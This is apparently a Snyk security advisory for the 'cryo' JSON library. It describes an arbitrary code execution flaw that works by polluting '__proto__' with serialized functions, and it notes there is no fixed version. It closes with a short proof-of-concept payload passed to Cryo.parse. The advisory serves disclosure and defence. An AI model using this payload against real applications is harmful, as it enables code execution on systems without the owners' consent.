Snyk has a published code exploit for this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Arbitrary Code Execution vulnerabilities in an interactive lesson.
Start learningThere is no fix version for cryo
cryo
is a json parser.
Affected versions of this package are vulnerable to Arbitrary Code Execution when untrusted user-input is passed into the cryo.parse()
function.
cryo
is used to deserialize JSON files into an object by useing square bracket notation ( obj[key]=value
) and interacts with the object later in the code (to convert to string, for example). Given that the JSON is controlled by user input, an attacker may be able to change the __proto__
property for a new object.
cryo
also serialization of functions, so the attacker can set their own methods (toString, valueOf) for the new object. If the application interacts later on with the new object in a way which leads to invocation of the object's prototype functions, the attacker's malicious code would execute.
PoC:
var Cryo = require('cryo');
var frozen = '{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\");return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto__":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}'
var hydrated = Cryo.parse(frozen);
console.log(hydrated);